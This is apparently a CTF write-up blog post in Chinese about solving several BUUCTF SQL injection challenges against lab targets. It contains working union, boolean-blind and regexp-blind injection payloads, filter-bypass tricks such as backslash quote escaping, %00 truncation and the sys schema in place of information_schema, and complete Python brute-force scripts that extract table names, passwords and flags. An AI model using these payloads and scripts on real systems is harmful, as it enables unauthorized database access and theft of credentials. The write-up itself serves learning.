Web安全——SQL注入3中
本文最后更新于1 天前,其中的信息可能已经过时,如有错误请发送评论

前言

这篇文章开始写的时间是2026年1月1日,在这里祝大家新年快乐!然后这篇文章是Buuctf Web SQL 部分解题人数不超过2000的题目的wp,如果你在这篇没有找到你想要看的题目,可以看看SQL注入3,那个是上篇

最后发现果然都很难,现在是1月5日,这篇文章除最后一个题目,写了整整2w2k字,为了防止上传失败,再次分开,这篇文章为解题人数2000-500的题目,500以下的可能会很难,后面再说,反正这篇文章是解决了2000-500的题目,如果没有在这篇文章中找到你想要看的题目,可以在SQL注入3下中查找

October 2019 Twice SQL Injection

解题思路:

小知识:我们前面在修复万能密码的注入时的题目那题我们使用了一个函数addslashes,这个函数默认会将输入的字符串进行转义,不过存储到数据库的字符不是转义的,所以直接将存入的数据拿出来用就会导致二次注入

看这个标题就知道是October 2019年的 二次SQL注入题目,打开靶机后的确是一个登录页面,还有一个跳转注册的超链接

既然知道是考验二次注入,那么就不尝试万能密码了,我们去注册页面看看

没有什么验证码,邮箱等等,就一个用户名和密码,那么直接注册一个admin'的账号看看,密码123

注册完成后直接就是跳转到登录页面,看来是没有对单引号进行过滤,不过肯定是进行转义了,既然能够注册成功,登录看看

这就跟前面那题很像,主要还是显示个人简介信息时调用了这个恶意的用户名,不过没有对其进行判断就使用,所以导致二次注入,不过这里我随便修改信息,然后Change发现返回了修改错误,但是报错等啥都没有返回,可能关闭了报错回显?我们正常注册一个账号,然后看看正常注册的账号修改个人简介页面是什么样的

我们正常注册账号了adad,密码为123,发现修改信息页面默认带有’十月太懒,没有简介’说明思路没问题,单引号的确导致语法错误,从而不返回信息,而且并不需要我们手动change改变来调用恶意用户名,访问这个页面就会自动查询用户的简介信息,所以如果用户名是恶意用户名,就能够直接返回信息,不过没有回显报错信息,说明关闭了报错提示,那么至少我们是无法使用报错注入了,那么尝试联合查询注入看看,因为修改用户简介信息肯定是只有一个字段的,where判断用户名,所以我们直接构造查询语句:

注册:admin'+union+select+database()+%23
登录:admin' union select database() #

可以了,这里返回了信息,我一开始就纳闷为什么一直没数据,我硬是测试了好几个payload都不返回结果,然后判断字段也不返回结果,恒真恒假一样,直到使用union进行联合注入才有了信息,为什么说字段数为1呢,我们要显示一个用户的个人信息页面,是不是只需要查询这个用户的info就可以了:

select info from users where username='xxxx';

username为我们的用户名,所以其实只有一个字段,当我们创建的用户名为前面的payload被拿出来进行拼接后的语句为:

select info from users where username='admin' union select database() #';

一般情况下前者没有返回结果时才会返回联合查询的结果,说明这题可能没有admin这个用户,然后我们前面测试也没注册,所以找不到就返回后面的联合查询的结果,一般测试的时候可以注册-1或者其他不存在的用户名,这里既然能返回结果就不改变了,继续使用联合查询来获取所有的数据库名称:

注册:admin'+union+select+group_concat(schema_name)+from+information_schema.schemata+%23
登录:admin' union select group_concat(schema_name) from information_schema.schemata #

查询后的结果如上图,Flag存储的地方多半是ctftraining或者test,先查前者,因为前者是当前数据库,构造payload获取所有表:

注册:admin'+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()+%23
登录:admin' union select group_concat(table_name) from information_schema.tables where table_schema=database() #

登录后发现有三个表,直接获取flag表里面的列:

注册:admin'+union+select+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'flag'+%23
登录:admin' union select group_concat(column_name) from information_schema.columns where table_name='flag' #

因为我用的是burpsuite注册,然后edge进行登录访问,所以在注册的payload时进行了URL编码,接下来获取到了flag表中存在flag列,那么直接获取flag即可:

注册:admin'+union+select+group_concat(flag)+from+ctftraining.flag+%23
登录:admin' union select group_concat(flag) from ctftraining.flag #

成功夺旗!

这一题一开始的确卡住我了,并不是思路错了,思路没什么问题,我一开始测试了好几个payload就是没有简介信息,然后也测试了字段数等,甚至用来恒真恒假条件,还怀疑是注释符的问题,都测试了就是不行,然后我想着要不要直接测试联合查询的注入语句,但是又觉得字段数没猜出来,直接查询容易判断错误,然后我这个时候应该是使用 union select 1,2,3 等等(这样也可以进行字段的判断),不过在这一步之前我去查了一下wp,发现的确是直接用union获取数据,感觉很可惜,如果不去查看wp,或许这题我能够不看wp做出来,就差一步了,不过确定没有其他问题后,获取信息的语句都是自己构造的,因为没有什么过滤,所以也没有fuzz,做题就是这样,不能盲目的查看wp,没准自己下一个payload就是答案,当然也不是说不能看wp,单纯靠空想肯定是无法想出来的

[GYCTF2020]Ezsqli

解题思路:

页面就一个输入框和一句话一个图片,没什么有用的信息,输入框尝试输入1,2返回了奇怪的东西,0和3以及其他返回不了结果,输入and,or等等发现页面返回了Bool(false),使用其他语句,发现过滤了一些内容,不过现在始终没有注入成功,可能需要我们猜测后端的逻辑了或者使用布尔盲注,总结一下所有输出:

1 :Nu1L
2 :V&N
2-1 :Nu1L
0,3,其他 :Error Occured When Fetch Result.
and,or,; :bool(false)
' and :SQL Injection Checked

'直接输入和and,or,直接输入是一样的,返回的是bool(false),但是拼接其他的内容一起输入就存在SQL过滤,然后1,2返回的结果也很怪,看不懂,用Burpsuite打开靶机,看历史记录也没发现什么有用的信息,Fuzz看看

这些是直接过滤的,包含报错注入用的floor,包含异或xor,包含系统数据库information,就目前情况我也看不出来什么鬼意思

没有报错,也无法猜测字段,考验的肯定是盲注了,不过我们输入的数字以及减法可以得到信息,也就是说如果我们进行布尔盲注,1的返回信息是Nu1L,那么我们使用elt试试:

elt(1=1,1)    Nu1L
elt(1=2,1)    Error Occured When Fetch Result.

说明思路没有问题,的确可以用来进行盲注,然后过滤了information这个我也不直到怎么获取数据了,只能看看别人是怎么通关的,不过发现别人用异或等等,就我用elt,因为我发现过滤了xor的时候就猜对可以用异或了,如果对题目没有用它过滤干嘛,只有说过滤了,但是没有完全过滤,那就说明可以绕过,可以绕过那就是解题思路,这里我不想用^,看得头疼这个,既然没有过滤elt,那就用elt,上面的payload的确没问题,1不等于2,返回了空,所以没结果;1等于1,返回了字符串1,所以有结果。通过这点我们先爆破数据库的长度:

elt((length(database())>10),1)    大于
elt((length(database())>20),1)    大于
elt((length(database())>30),1)    小于
elt((length(database())>25),1)    小于
elt((length(database())>22),1)    小于 长度为21

我一开始往小了猜,还以为语法错误,结果就是不对,往大了猜才发现成功,最后判断出数据库名称长度为21,诗人啊!

接下来知道长度了就是使用ascii逐字符爆破,使用二分法爆破如下:

elt((length(database())=21),1) 获取长度
elt((ascii(substr(database(),1,1))>79),1) 获取第一位字符串,32-126的中值79,大于,值为79-126 
elt((ascii(substr(database(),1,1))>103),1)  小于值为79-103
elt((ascii(substr(database(),1,1))>91),1)   大于 92-103
elt((ascii(substr(database(),1,1))>97),1)    大于 98-103
elt((ascii(substr(database(),1,1))>100),1)  大于 101-103
elt((ascii(substr(database(),1,1))>102),1)   大于,结果为103
elt((ascii(substr(database(),1,1))=103),1)   等于,结果为 g 

这就是一个字符的爆破流程,最多7步一个字符,不过这里已经获取到长度为21,并且可以使用database()那就没必要浪费时间去爆破它了,直接获取数据库表,还能省去不少时间,不过因为系统数据库被过滤了,看看别人wp怎么绕过的,发现别人使用了sys.xxxx,搜索后发现是MySQL sys schema,这个是5.7.7开始引入的,8.0版本默认安装并完善,我们可以使用它来获取系统信息,而sys.schema_table_statistics_with_buffer的主要功能就是存储表统计信息和缓冲区使用情况,所以使用它我们可以获取表名:

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()

主要字段:

  • table_schema — 数据库名
  • table_name — 表名
  • rows_fetched — 获取的行数
  • rows_inserted — 插入的行数
  • rows_updated — 更新的行数
  • rows_deleted — 删除的行数

与之相同的还有:

-- 其他可用的表(用于绕过检测)
sys.schema_table_statistics        -- 表统计信息
sys.schema_index_statistics        -- 索引统计信息
sys.schema_tables_with_full_table_scans -- 全表扫描统计
sys.processlist                    -- 当前进程信息
mysql.innodb_table_stats           -- mysql库中的表,需要权限
performance_schema.table_names     -- performance_schema

好了,既然构造好查询语句了,接下来就是进行substr和ascii,然后逐一爆破:

elt(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{i},1))>={mid},1)

爆破脚本:

import requests
import time 

url = "http://0863e5be-3918-4bcf-90e8-41bf63ec2463.node5.buuoj.cn:81/index.php"
data = "elt(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{},1)"
table_name = ""
for i in range(1,40):
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = data.format(i,mid)
        id = {'id': payload}
        try:
            response = requests.post(url, data=id,timeout=20)
            if "Nu1L" in response.text:
                low = mid + 1
            else:
                high = mid - 1
        except:
            print("请求失败,重试...")
            time.sleep(1)
            continue

        time.sleep(0.1)

    final_ascii = high
    char = chr(final_ascii)
    table_name += char
    print(f'爆破出:{char}')

print(f"数据库所有表的表名为:{table_name}")

用的也是格式化字符串,不过之前是f”字符串{i}”,这回是”字符串”然后后面使用变量名+format来拼接,注意,format不能格式化字典,最后的爆破结果:

数据库所有表的表名为:users233333333333333,f1ag_1s_h3r3_hhhhh

获取到表后,我们就可以查询信息了,在SQL中我们可以不用指定库名,当然如果是其他数据库的内容查询就需要指定了,这里查询的是当前数据库的信息,所以直接使用表名即可:

select * from f1ag_1s_h3r3_hhhhh

这样就能够查询到所有的内容了,但是我们需要找到flag,不可能把所有的数据都爆破一遍,肯定不现实的,但是我们又不知道flag的列名怎么办呢,看前面就知道flag的列名肯定也比较鬼畜,直接用flag可能查不到,那么就需要使用ascii位偏移,我也是看了才懂的,使用这个方法就可以无需知道flag的字段名也可以进行比较了:

-- 正常比较:
ascii(substr((SELECT flag FROM flag_table),{i},1))>={mid}
-- 使用ascii的行比较方法:
SELECT (1, '{}') > (SELECT * FROM f1ag_1s_h3r3_hhhhh)
-- 需要先判断表的字段数
0||(select 1)>(select * from f1ag_1s_h3r3_hhhhh)  如果字段数不对
因为前面为0,后面的执行结果为0,就为0,返回bool(false)
0||(select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)  返回 Nu1L 字段数为2
当然也可以使用elt来比较,如果字段数对了,就会返回1的信息也就是Nu1L
elt((SELECT 1)>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)
elt((SELECT 1,2)>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)
elt((SELECT 1,2,3)>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)
接下来需要知道是如何进行比较的:
select (select 'b') > (select 'abcdef') 为true,使用ascii比较
大于号左右两边的字符串进行比较 如果左边的字符串比右边大 那么返回1 如果右边的比较大则返回0
比如 abc 和 abd 比较,就是右边大,也就是0
abe 和 abd 比较就是左边大,就是1
aec 和 abz 比较就是左边大,因为e的ascii大于b的ascii,a为97,b为98
c为99,e为101,z为122,按位比较,即使z比c大,但是因为e大于b所以是左边大
如果是ae和aea比较,就是右边大,因为左边没有第三位数

知道是如何比较再来看这个payload:

(SELECT 1,2)>(SELECT * FROM f1ag_1s_h3r3_hhhhh)

查询1,2与查询flag表进行比较,如果前面查询 1,”flag{xxxx}”与后面查询的flag比较,为1就是正确了,不过因为用的是大于,所以最后需要用对比的值减一,才是正确的flag。比如前面为 f 后面为 ctf,比较后的结果是1,因为 f 的ascii 大于 c,所以继续缩小范围,d的ascii也大于,所以继续,c不大于,所以爆破的结果为d,但是实际正确的是d的ascii-1,也就是c,构造脚本:

# payload
elt((SELECT 1,"{}")>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)
# 别人的代码-修改payload后的脚本 获取flag
def add(flag):
    res = ''
    res += flag
    return res
flag = ''
for i in range(1,100):
    for char in range(32, 127):
        hexchar = add(flag + chr(char))
        payload = 'elt((SELECT 1,"{}")>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)'.format(hexchar)
        data = {'id':payload}
        r = requests.post(url=url, data=data)
        text = r.text
        if 'Nu1L' in r.text:
            flag += chr(char-1)
            print(flag)
            break
    time.sleep(0.5)

首先flag为空,然后写了一个add函数,传入的参数为flag,然后返回res,后面开始循环,i为1,char为32,这个时候flag为空格,因为32就是空格,然后逐字符进行爆破,如果Nu1L在其中就将当前char减去1,然后拼接到flag中,不过效率有点慢,因为没有使用二分法,所以正确值一旦遍历到,并且大于,那么减去1就是flag,这里没有使用二分法,所以速度有点慢,而且请求过快会导致失败,所以一定要加上time.sleep(0.5)

# 最后跑出来了,跑了整整三遍,一连接不上就报错,没有错误处理
# flag 是 FLAG{D37A4826-1EC1-4CA1-A629-485E8B3302C4}
# 实在是太慢了,所以修改了逻辑,还是一样,更之前一样,使用的二分法来获取,修改后爆破速度直线上升
flag = ''
for i in range(1,100):
    low, high = 32, 126  
    while low <= high:
        mid = (low + high) // 2
        guess_string = flag + chr(mid)
        payload = 'elt((SELECT 1,"{}")>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)'.format(guess_string)
        data = {'id': payload}
        try:
            response = requests.post(url,data=data, timeout=10)
            if "Nu1L" in response.text:
                high = mid - 1  
            else:
                low = mid + 1   
        except:
            print("请求失败,重试...")
            time.sleep(1)
            continue
        time.sleep(0.1)
    final_ascii = high  
    char = chr(final_ascii)
    flag += char
    print(f"当前flag: {flag}")  
print(f"flag为:{flag}")

优化后的脚本,使用二分法爆破就非常快了,对了,不要漏了URL参数和两个模块的导入,当然也可以直接从我的服务器上面下载,脚本已经上传服务器,可直接下载:

https://lawking.top/ctf/web/Buuctf_SQL/[GYCTF2020]Ezsqli_爆破flag_elt盲注.py

最后提交了才发现flag不对,不过爆破两个脚本都没有问题,怎么可能flag不对呢,看了一下flag头,感觉是小写问题,全部转换为小写提交后就没有问题了(脚本中带有转换代码,直接替换为你自己的flag运行即可):

flag{d37a4826-1ec1-4ca1-a629-485e8b3302c4}

注意:

我这个后面的二分法爆破flag脚本和前面的爆破表名是有一点区别的:

# 爆破表名的判断
if "Nu1L" in response.text:
 low = mid + 1
else:
 high = mid - 1

# 爆破flag的判断
if "Nu1L" in response.text:
 high = mid - 1  
else:
 low = mid + 1

# 具体爆破流程 表名
# payload
elt(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>=79,1)
这里是>=,并且注意是x>=y,y是我们爆破的字符,所以当第一个值是u时
u的ascii是117,中值为79,大于等于,+1,80-126
103,大于等于,104-126
115,大于等于,116-126
121,不大于等于,high=121-1,116-120
118,不大于等于,high=118-1,116-117
116,大于等于,low=116+1,117-117
117,大于等于,low=117+1,118-117
for i in range(1,50):
 low, high = 32, 126  
 while low <= high:
不满足条件,跳出循环,high为爆破出的字符
那么如果第一个字符就是79呢,满足大于等于,80-126
103,不满足,80-102
91,不满足,80-90
85,不满足,80-84
82,不满足,80-81
中值为向下取整,80,不满足,high=80-1,高值为79
这时high79<low80,不满足条件,跳出循环,high为最终爆破的字符
所以x>=y,不管如何最后跳出循环时都是high为爆破出的字符
也不用担心>=会错过字符,因为不满足条件时high=mid-1
直到减到跳出循环,就找到值了

# 具体爆破 flag
前面那个是将值取出来于我们的值进行比较,这个是拿我们的值比较取出来的值
一个是a>b,另一个是b>a,所以判断逻辑是相反的
# payload
elt((SELECT 1,"{}")>(SELECT * FROM f1ag_1s_h3r3_hhhhh),1)
第一个值为f,ascii是102,第一次比较,中值为79
79<102,也就是不大于,所以进入else,这时范围应该是79-126,+1就是80
中值103,大于,103-1为高值,范围是80-102
中值91,不大于,91-102,92
中值97,不大于,97-102,98
中值100,不大于,100-102,101
中值向下取整就是101,不大于,在加1,102
102-102,中值就是102,没有了,还是不大于
103-102 这个时候低值大于高值
再看判断逻辑只有<=的时候循环,大于就跳出循环了
for i in range(1,50):
 low, high = 32, 126  
 while low <= high:
所以需要 low = mid + 1 要不然会无限循环
这时high为爆破字符

看这段代码块,就应该明白了,为什么爆破的判断调换了顺序,因为我们后面的爆破flag和前面的爆破表名是相反的,前面的爆破表名是:表名>=我们的ascii;后面的爆破flag是:我们的ascii>flag,修改后逻辑就没有问题了,并且high始终是我们要爆破的正确字符

[NCTF2019]SQLi

解题思路:

一开始看着别人的wp做的,感觉有点被误导了,于是删除重新写了一遍,按照自己的思路来做,先打开靶机

这是一个弹窗小提示,”尝试让 SQL 查询有自己的结果” 翻译后的意思,点击确定后页面加载完毕,是一个登录框,同时提供了SQL语句

观察一下这个SQL语句:

sqlquery : select * from users where username='' and passwd=''

很常规的SQL语句,那么使用万能密码试试admin' or 1=1#

payload :username=admin' or 1=1#
sqlquery : select * from users where username='admin' or 1=1#' and passwd=''
拼接结果后执行的语句
sqlquery : select * from users where username='admin' or 1=1#

使用万能密码后的查询语句应该如上,试试

发现返回了hacker,说明存在过滤,那么直接上fuzz看看

如果没有过滤返回的是正常的提示弹窗和页面信息,如果存在过滤,返回的只有弹窗hacker!!!,长度为246,所以只需要看246长度的响应就可以判断出过滤了哪些:

发现过滤了非常多的东西,就连几个常用的注释符号都过滤了,不过没有过滤%,那么就不得不使用一个新的技巧,也是看别人学的,不过之前用到过,记得是文件上传漏洞时用的——%00截断,原理就是:

如果是白名单检测的话,我们可以采用00截断绕过。00截断利用的是php的一个漏洞。在 php<5.3.4 版本中,存储文件时处理文件名的函数认为0x00是终止符。于是在存储文件的时候,当函数读到 0x00(%00) 时,会认为文件已经结束。

例如:我们上传 1.php%00.jpg 时,首先后缀名是合法的jpg格式,可以绕过前端的检测。上传到后端后,后端判断文件名后缀的函数会认为其是一个.jpg格式的文件,可以躲过白名单检测。但是在保存文件时,保存文件时处理文件名的函数在遇到%00字符认为这是终止符,于是丢弃后面的 .jpg,于是我们上传的 1.php%00.jpg 文件最终会被写入 1.php 文件中并存储在服务端

这是一个语言特性,正常来讲直接在SQL中肯定是无法使用的,但是如果是在PHP中,那么就可以使用,比如:

sqlquery : select * from users where username='' and passwd=''
... 执行查询的步骤
username=admin' or 1=1;%00
sqlquery : select * from users where username='admin' or 1=1;%00' and passwd=''
sqlquery : select * from users where username='admin' or 1=1;

流程如上,导致最后php中拼接的SQL语句为我们直接使用注释的语句差不多,那么使用这个语句查询肯定是满足的,这就成功绕过了注释符的过滤,接下来是其他的关键词,过滤or,and,by,in,union等等,elt,updatexml,regexp等没有过滤,既然没有过滤regexp那么我们就可以使用这个函数进行正则表达式的匹配,接下来就是考虑怎么闭合引号了:

sqlquery : select * from users where username='' and passwd=''

单引号肯定是不行,因为被过滤了,既然无法多一个引号,那么只要想办法去掉一个引号能够执行我们的语句就可以了,怎么去掉,观察过滤,发现没有过滤\,这就好办了,username参数为\即可:

sqlquery : select * from users where username='\' and passwd=''

这时,上面语句中的username的第二个引号会被转译成字符串,而SQL会成对匹配引号,导致passwd的第一个引号和username的引号闭合,用户名就变为了\' and passwd=,这时后面引号还是有一个,不过到passwd的参数了,那么我们就可以考虑使用%00来截断后面的内容,这样后面的引号也没问题了,直接开始注入:

username=\&passwd=payload;%00
sqlquery : select * from users where username='\' and passwd='payload;%00'

我们需要使用regexp,就需要了解这个函数的语法:

SELECT column_name FROM table_name
WHERE column_name REGEXP 'pattern';

可以看到在where语句中regexp的语法如上,那么直接构造相同的语法即可,因为前面的passwd=被转译成用户名,所以我们需要单独添加passwd,同时因为这个用户名不可能存在,所以使用or来执行后面的语句,不过or被过滤了,但是||没有过滤,那么语句如下:

username=\&passwd=payload;%00
sqlquery : select * from users where username='\' and passwd='payload;%00'
构造正则匹配payload
username=\&passwd=||passwd regexp '';%00
sqlquery : select * from users where username='\' and passwd='||passwd regexp '';%00'

好的,因为空格和单引号都被过滤了,所以还需要调整,空格可以使用/**/或%09来绕过,单引号可以使用双引号来绕过:

username=\&passwd=||passwd/**/regexp/**/"";%00
sqlquery : select * from users where username='\' and passwd='||passwd/**/regexp/**/"";%00'

这样语句就没有问题了,这就是一个爆破密码的payload,因为前面的username百分百不存在(这种不正常的名字要是存在那就奇怪了),所以返回false,就会执行后面的语句,后面的语句是passwd参数进行正则表达式匹配,对了就会返回正确的页面,所以我们还需要一个页面来判断是否正确:

username=\&passwd=||/**/1;%00

这个payload右边为1,所以肯定是为true的

那么为0时,返回的就是正常的页面

可以看到为true时返回的页面是302响应码,并且响应头多了点信息,所以我们以此为判断,如果响应码为302或者响应头存在location:welcome.php就说明爆破的结果为true,原本是直接尝试使用这个的,但是不知道为什么返回了hacker,我估计是过滤了%00,但是burpsuite又没有问题,猜测可能是解码问题,然后使用脚本进行爆破了,前面提到regexp,使用这个函数匹配字符串开头为a的结果,语法为regexp "^a",所以我们只需要使用这个就可以爆破密码了,比如:

username=\&passwd=||passwd/**/regexp/**/"^a";%00
username=\&passwd=||passwd/**/regexp/**/"^b";%00
username=\&passwd=||passwd/**/regexp/**/"^c";%00
......

这样就知道密码的前缀为y,继续第二个,这样一直爆破下去,因为大写的Y和小写的y都返回了true,所以就只跑小写的,理解原理后就可以尝试构造脚本来爆破了:

import requests
import time
from urllib import parse

# 本脚本用于CTF题目:[NCTF2019]SQLi
# 本题适用于 regexp 盲注,注释符过滤,空格过滤的题目,可简单修改后直接使用

# 爆破密码
pwd_string = r"abcdefghijklmnopqrstuvwxyz1234567890_{}-~"
url = "http://d0f4bf92-5969-4f74-b561-4cb1d93adc15.node5.buuoj.cn:81/index.php"
password = ""
for i in range(1,51):
 for pwd in pwd_string:
     test_pwd = password + pwd
     data = {
         "username" : "\\",
         "passwd" : f'||passwd/**/regexp/**/"^{test_pwd}";'+parse.unquote('%00')
     }
     try:
         response = requests.post(url, data=data,timeout=20).content.decode('utf-8')
         if "welcome.php" in response:
             password += pwd
             print(f"当前密码:{password}")
             break
         else:
             pass
     except:
         print("请求失败,重试...")
         time.sleep(1)
         continue

     time.sleep(0.3)

print(f"爆破密码为:{password}")

代码如上,因为%00截断需要使用URL解码,然后才能够生效,接下来请求的密码正确,返回的数据包如下:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /welcome.php was not found on this server.</p>
<hr>
<address>Apache/2.4.25 (Debian) Server at d0f4bf92-5969-4f74-b561-4cb1d93adc15.node5.buuoj.cn Port 80</address>
</body></html>

因为正确应该是302跳转,但是跳转不到所以是404了,不过返回的页面信息如上,任然带有这个关键词,所以可以继续使用这个判断,然后如果存在这个关键词,代表密码正确,最后爆破结果如下:

爆破密码为:you_will_never_know7788990

如果不想导入这个URL解码的库,可以直接将payload后面替换成\0或者\x00是一样的效果,parse.unquote(‘%00’)的结果就是\x00,而\0也是\x00:

"passwd" : f'||passwd/**/regexp/**/"^{test_pwd}";\0'

脚本已同步上传到服务器,下载地址:

https://lawking.top/ctf/web/Buuctf_SQL/[NCTF2019]SQLi_爆破flag_regexp盲注.py

然后使用爆破出来的密码登录看看,成功夺旗!

flag{e23b9cb5-a41f-48d5-a32b-d0a85dc706e8}

不过这里需要注意用户名是过滤了admin,所以输入admin反而是返回hacker,直接输入密码就好了,判断逻辑是密码完全等于管理员的密码就返回flag,看了一下别人的wp,发现是通过目录探测,然后发现robots.txt文件,然后通过这个文件发现hint.txt文件,不过我的robots.txt里面没有(是另一个啥用都没有的文件),但是我直接访问hint.txt的确存在,内容如下:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

文件是过滤的内容和判断逻辑,根据这个可以有注入思路,不过直接Fuzz也是没问题的,因为我一开始就是被这个误导了,我看文件里面的过滤,发现过滤了%00,还以为思路不对,结果看别人后面还在使用%00,我也懵,后来知道解码后的%00为\x00,所以不会过滤

BUU SQL COURSE 2

题目:

上课用的~

解题思路:

还是一样,因为这个题目有历史请求的先例(不在URL中请求,一打开网站就悄悄请求了),所以我开着Burpsuite去访问的,然后查看历史请求,各个功能都点一点,然后如果没有其他的注入点再去测试登录功能

发现这些id是通过这个页面获取的,不过没有参数的样子,再看看其他的

点击每个新闻后发现有请求,参数为id,不过URL中依旧不显示,我就知道,那么测试一下这个参数看看,很明显这是一个数字型注入,直接用这个两个payload:

id=1 and 1=1
id=1 and 1=2

没问题,直接判断字段数:

id=1 order by 1
URL编码
id=1+order+by+2
id=1+order+by+3

为3时无返回信息,字段数为,使用联合查询判断回显:

id=-1 union select 1,2
id=-1+union+select+1,2

看样子也没过滤,直接试试database:

id=-1+union+select+1,database()

没问题,查询所有数据库:

id=-1+union+select+1,group_concat(schema_name)+from+information_schema.schemata

因为这种查询语句后面多半时没有其他的引号,所以不用考虑闭合问题,直接注入语句就行,也不用考虑注释,接下来获取ctftraining的表:

id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='ctftraining'

获取flag表的列信息:

id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='ctftraining'+and+table_name='flag'

获取flag列的信息:

id=-1+union+select+1,group_concat(flag)+from+ctftraining.flag

夺旗成功!

flag{a15c2549-ade6-4dec-b94b-31779c7a2293}

这题的难点还是在判断注入点的问题上,不要死盯着登录框不放,做好信息收集,如果有更多的注入点,那么SQL注入的成功性也就更大,然后如果做过这个题目的1,那应该就知道这个题目还是不能光看URL,一定要开着Burpsuite去看看各个功能是否存在隐性请求,就是URL中不显示,但实际请求了的数据

小知识:

假设查询语句如下:

$sqlquery = "select xxx from xxx where id = $_GET['id'];"

那么这就是一个数字型注入,插入的id是可以直接影响到语句的,比如这个payload,它就会执行如下语句:

?id=1 and 1=2
$sqlquery = "select xxx from xxx where id = 1 and 1=2;"

整个语句为一个整体,所以直接输入and 1=2被执行,那么页面就不会返回结果,因为1不等于2,永远不成立,这就是数字型注入,因为插入的语句不会影响不到后面的,所以没有报错,有些时候就可以不用使用注释,比如上面这个,语句刚好结束

什么是非数字型注入呢,大多非数字型注入都是字符串,如下:

$sqlquery = "select xxx from xxx where username ='" . $_GET['username'] . "';"

可能语句有点偏差,不过是这个意思,当我们输入的内容被拼接后处于两个单引号包裹或者两个双引号包裹,那么我们输入的内容就会变为字符串,不管输入什么,查询的都是这个字符串,比如:

payload :awefafgawsf
$sqlquery = "select xxx from xxx where username='awefafgawsf';"
payload :admin or 1=1
$sqlquery = "select xxx from xxx where username='admin or 1=1';"

这样我们拼接的语句不会被执行,而是被当作字符串去匹配条件,最后只会执行查询admin or 1=1这个用户名,这个用户名不存在就没结果,所以我们判断是不是数字型注入就用1=11=2来判断,如果是1=1能够返回页面就是数字型注入,如果1=1无法返回界面或者信息,那可能就是压根没有被执行,1=2也是,用来判断数字型注入,如果能被执行,页面无法返回,不能被执行,页面正常返回

那么知道了这个非数字型的注入,怎么进行SQL注入呢,既然输入的内容被拼接成字符串,那么怎么让输入的内容变为非字符串呢,就是用引号,单引号或双引号来闭合前面的语句,然后就能够执行我们想要查询的语句了,不过当单引号和双引号都被过滤,这个时候如果是接收两个参数处理,那么我们还可以使用\来转义第一个参数的第二个单引号,让它被识别成字符串内容,这样第一个参数的第一个单引号就会和第二个参数的第一个单引号闭合,导致第二个参数提交的内容逃逸出来,然后就能执行意外的SQL语句,如果都进行转义,那么我们还可以看看使用的是不是addslashes函数来进行转义,因为这个函数转义后存储到数据库的内容不是转义的,那么使用这个函数,我们就可以将语句提前注入到数据库,然后再去二次调用这个语句实现二次注入

单引号和双引号逃逸
payload :admin' or 1=1 #
$sqlquery = "select xxx from xxx where username='awefafgawsf';"
拼接后的语句"select xxx from xxx where username='admin' or 1=1 #';"
执行的语句:"select xxx from xxx where username='admin' or 1=1 #"
双引号同理,不过因为多出的引号逃逸,后面的引号或者其他内容不注释可能会报语法错误
所以这种注入多数时候都配合--+或-- 或#注释符一起使用
而反斜杠转义导致的逃逸如下
payload :username=\&passwd=123#
$sqlquery = "select * from xxx where username='\' and passwd='123#';"
实际执行的语句是:
$sqlquery = "select * from xxx where username='奇怪的用户名'123#"
这个#注释符注释的是执行的SQL语句,并不会注释掉php代码,所以后面的双引号是不影响的
然后123为我们逃逸出来的SQL代码,前面的内容被当作用户名的参数了
那么我们可以使用这个来注入,比如:
payload :username=\&passwd=or 1=1#
$sqlquery = "select * from xxx where username='奇怪的用户名'or 1=1#"
因为or前面的条件为false时执行后面的条件,后面满足就返回true
而1=1永远满足,所以就能够返回结果
那么如果后端使用addslashes函数来转义用户的输入呢
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
这样能够防止一些直接的注入了,不过因为这个函数转义后保存到数据库的内容还是原数据
比如 "\" 转义和为 "\\" 不会直接影响当前的语句
但是存储到数据库的内容依旧是"\"
这个时候其他页面调用了这个参数,就会影响到那个查询语句,因为\被直接拼接
导致语法有问题,从而可以进行二次注入

[ThinkPHP]IN SQL INJECTION

解题思路:

这一题翻译过来就是ThinkPHP的SQL注入,但是我没搞懂,靶机地址为node5.buuoj.cn:29970

然后访问啥也没有,最后没招了,看看官方题目中提供的github地址:

https://github.com/vulhub/vulhub/blob/master/thinkphp/in-sqlinjection

然后发现这是一个漏洞示例,并不是题目,了解就好,访问地址后有中文办,切换一下就好

并没有说明具体的原理,我们需要跳转查看那两个链接:

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
https://xz.aliyun.com/t/125

看来是一个典型的框架漏洞,其中提到了PDO查询,了解一下:

PDO(PHP Data Objects) 是 PHP 提供的一种轻量级、统一的数据库访问接口。它为开发者提供了一个数据访问抽象层,使得无论使用哪种数据库,都可以通过相同的函数和方法来执行查询和获取数据

PDO的主要特点:

  • 数据库抽象层:PDO 支持多种数据库(如 MySQL、PostgreSQL、SQLite 等),开发者无需针对不同数据库编写不同的代码
  • 安全性:通过支持预处理语句和参数绑定,PDO 有效防止了 SQL 注入攻击
  • 一致性:无论使用何种数据库,PDO 提供的接口和方法保持一致,简化了代码的维护和迁移

PDO简单示例:

<?php
    // 数据库配置信息
    $dbms = 'mysql'; // 数据库类型
